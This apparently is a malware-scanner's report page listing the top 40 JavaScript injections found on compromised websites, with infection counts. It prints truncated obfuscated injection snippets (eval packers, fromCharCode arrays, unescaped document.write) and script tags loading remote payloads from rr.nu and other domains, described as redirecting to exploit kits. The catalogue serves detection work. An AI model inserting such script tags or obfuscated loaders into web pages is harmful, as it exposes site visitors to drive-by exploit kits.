We separate the data in three categories: Iframes, redirectiors and javascript. For each one you can click on the domain for more information, IP addresses and details on the malware.
Encoded javascript (redirecting to blackhole and other exploit kits) or to build
a remote call.
| # of sites infected | Type | Malware / Domains |
|---|
| 154 | javascript | <script>try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{bcsd=prot... |
| 103 | javascript | <script>var url="http://onmouseup.info/stats.php";if((navigator.userAgent.toLowerCase().indexOf... |
| 69 | javascript | <script>s="";h=-016/7;try{q=document.createElement("p");a=(q)?"appendC":12;q[a+"hild"](""+n);}c... |
| 53 | javascript | <script>s="";h=-016/7;try{q=document.createElement("p");a=(q)?"appendC":12;q[a+"hild"](""+n);}c... |
| 36 | javascript | <script language=javascript>document.write(unescape('%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61... |
| 35 | javascript | <script>s="";try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-014/6;try{prot... |
| 34 | javascript | <script>s="";try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-014/6;try{prot... |
| 26 | javascript | <script type="text/javascript">var ipbs='79a5da2e';eval(function(p,a,c,k,e,d){e=function(c){ret... |
| 24 | javascript | <script type='text/javascript' src='http://danaid.org/wp-content/plugins/custom-menu/js/script.... |
| 22 | javascript | <script src="http://mani36anmod.rr.nu/pmg.php?d=x"></script> |
| 21 | javascript | <script>i=0;try{prototype-5;}catch(z){fr="fromCharCode";f=[9,18,105,204,32,80,100,222,99,234,10... |
| 20 | javascript | <script src="http://mvuln99erabl.rr.nu/pmg.php?d=x"></script> |
| 20 | javascript | <script src="http://cco70con.rr.nu/pmg.php?d=x"></script> |
| 19 | javascript | <script src="http://hmarks91suspici.rr.nu/pmg.php?d=x"></script> |
| 18 | javascript | <script>try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-012/5;try{prototype... |
| 18 | javascript | <script src="http://tsruno44ffstru.rr.nu/pmg.php?d=x"></script> |
| 18 | javascript | <script src="http://iously61announ.rr.nu/pmg.php?d=x"></script> |
| 17 | javascript | <script src="http://urnal23istca.rr.nu/pmg.php?d=x"></script> |
| 16 | javascript | <script>try{prototype%2;}catch(asd){x=2;} i=0;try{prototype*5;}catch(z){fr="fromChar";f=[72,81,... |
| 16 | javascript | <script src="http://smo13tiv.rr.nu/pmg.php?d=x"></script> |
| 16 | javascript | <script src="http://mandel22iveries.rr.nu/pmg.php?d=x"></script> |
| 16 | javascript | <script src="http://erhapp86eningco.rr.nu/pmg.php?d=x"></script> |
| 15 | javascript | <script>try{prototype%2;}catch(asd){x=2;} i=0;try{prototype*5;}catch(z){fr="fromChar";f=[72,81,... |
| 15 | javascript | <script src="http://olo51gysu.rr.nu/pmg.php?d=x"></script> |
| 15 | javascript | <script src="http://hadowp04ercept.rr.nu/pmg.php?d=x"></script> |
| 15 | javascript | <script src="http://cessio33noutst.rr.nu/pmg.php?d=x"></script> |
| 15 | javascript | <script>s="";h=-016/7;try{q=document.createElement("p");a=(q)?"appendC":12;q[a+"hild"](""+n);}c... |
| 14 | javascript | <script src="ui/development-bundle/ui/jquery.ui.widget.js"></script> |
| 14 | javascript | <script src="http://ttot87allyp.rr.nu/pmg.php?d=x"></script> |
| 14 | javascript | <script src="http://rthea13terbre.rr.nu/pmg.php?d=x"></script> |
| 14 | javascript | <script src="http://posit32ionrad.rr.nu/pmg.php?d=x"></script> |
| 14 | javascript | <script>s="";h=-016/7;try{q=document.createElement("p");a=(q)?"appendC":12;q[a+"hild"](""+n);}c... |
| 14 | javascript | <script>s="";h=-016/7;try{q=document.createElement("p");a=(q)?"appendC":12;q[a+"hild"](""+n);}c... |
| 13 | javascript | <script src="http://act57ive.rr.nu/pmg.php?d=x"></script> |
| 12 | javascript | <script type="text/javascript" src="http://jsfeedget.com/js.php"></script> |
| 12 | javascript | <script type="text/javascript" language="javascript" src="http://www.corbrookpackaging.com//js/... |
| 12 | javascript | <script>s="";try{q=document.createElement("p");q.appendChild(q+"");}catch(qw){h=-014/6;try{prot... |
| 12 | javascript | <script src="http://sweepstakesandcontestsnow.com/nl.php?nnn=1"></script> |
| 12 | javascript | <script language="javascript" src="http://www.777seo.com/pop.php?username=rmx2012&max=1"></script> |
| 12 | javascript | <script language="JavaScript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt... |
| | Limited view (40 rows)... Only the top entries being displayed. |
